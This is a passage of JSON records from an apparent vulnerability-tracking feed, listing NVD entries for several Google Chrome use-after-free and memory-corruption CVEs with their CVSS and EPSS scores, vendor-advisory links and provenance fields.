Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:15.327Z","updatedAt":"2026-10-22T14:05:54.023Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113221","asOf":"2026-10-22T14:05:54.023Z"},"epss":{"probability":0.0037,"percentile":0.30632,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113221&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113221","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113221","type":"primary","publishedAt":"2026-10-20T22:19:15.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113221&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113221, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113220","cveId":"CVE-2026-113220","aliases":[],"kind":"vulnerability","title":"Memory corruption in Extensions in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Memory corruption in Extensions in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Extensions in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:15.220Z","updatedAt":"2026-10-26T12:58:17.310Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113220","asOf":"2026-10-26T12:58:17.310Z"},"epss":{"probability":0.00369,"percentile":0.30501,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113220","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113220","type":"primary","publishedAt":"2026-10-20T22:19:15.220Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113219","cveId":"CVE-2026-113219","aliases":[],"kind":"vulnerability","title":"Memory corruption in Contacts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Contacts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Contacts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:15.110Z","updatedAt":"2026-10-22T14:06:02.800Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113219","asOf":"2026-10-22T14:06:02.800Z"},"epss":{"probability":0.00404,"percentile":0.3433,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113219&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113219","type":"primary","publishedAt":"2026-10-20T22:19:15.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113219&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113219, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113218","cveId":"CVE-2026-113218","aliases":[],"kind":"vulnerability","title":"Use after free in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:15.003Z","updatedAt":"2026-10-22T14:06:13.253Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113218","asOf":"2026-10-22T14:06:13.253Z"},"epss":{"probability":0.00404,"percentile":0.34329,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113218","type":"primary","publishedAt":"2026-10-20T22:19:15.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113217","cveId":"CVE-2026-113217","aliases":[],"kind":"vulnerability","title":"Use after free in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Use after free in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in WebAppInstalls in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:14.890Z","updatedAt":"2026-10-23T20:00:51.483Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113217","asOf":"2026-10-23T20:00:51.483Z"},"epss":{"probability":0.00468,"percentile":0.40225,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113217","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113217","type":"primary","publishedAt":"2026-10-20T22:19:14.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113216","cveId":"CVE-2026-113216","aliases":[],"kind":"vulnerability","title":"Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:14.783Z","updatedAt":"2026-10-22T14:06:21.480Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113216","asOf":"2026-10-22T14:06:21.480Z"},"epss":{"probability":0.00404,"percentile":0.34329,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113216&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113216","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113216","type":"primary","publishedAt":"2026-10-20T22:19:14.783Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113216&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113216, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113215","cveId":"CVE-2026-113215","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:14.670Z","updatedAt":"2026-10-22T14:06:27.790Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113215","asOf":"2026-10-22T14:06:27.790Z"},"epss":{"probability":0.00443,"percentile":0.38241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113215","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113215","type":"primary","publishedAt":"2026-10-20T22:19:14.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113214","cveId":"CVE-2026-113214","aliases":[],"kind":"vulnerability","title":"Improper input validation in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Improper input validation in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper input validation in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:14.563Z","updatedAt":"2026-10-22T14:06:32.800Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113214","asOf":"2026-10-22T14:06:32.800Z"},"epss":{"probability":0.00443,"percentile":0.38242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113214&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113214","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113214","type":"primary","publishedAt":"2026-10-20T22:19:14.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113214&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113214, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113213","cveId":"CVE-2026-113213","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:14.450Z","updatedAt":"2026-10-22T14:06:37.973Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113213","asOf":"2026-10-22T14:06:37.973Z"},"epss":{"probability":0.00443,"percentile":0.38242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113213&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113213","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113213","type":"primary","publishedAt":"2026-10-20T22:19:14.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113213&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113213, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113210","cveId":"CVE-2026-113210","aliases":[],"kind":"vulnerability","title":"Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:14.107Z","updatedAt":"2026-10-23T20:00:32.070Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113210","asOf":"2026-10-23T20:00:32.070Z"},"epss":{"probability":0.00443,"percentile":0.38252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113210","type":"primary","publishedAt":"2026-10-20T22:19:14.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113208","cveId":"CVE-2026-113208","aliases":[],"kind":"vulnerability","title":"Use after free in ContextualSearch in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in ContextualSearch in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in ContextualSearch in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:13.883Z","updatedAt":"2026-10-22T14:06:49.120Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113208","asOf":"2026-10-22T14:06:49.120Z"},"epss":{"probability":0.00404,"percentile":0.34329,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113208&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113208","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113208","type":"primary","publishedAt":"2026-10-20T22:19:13.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 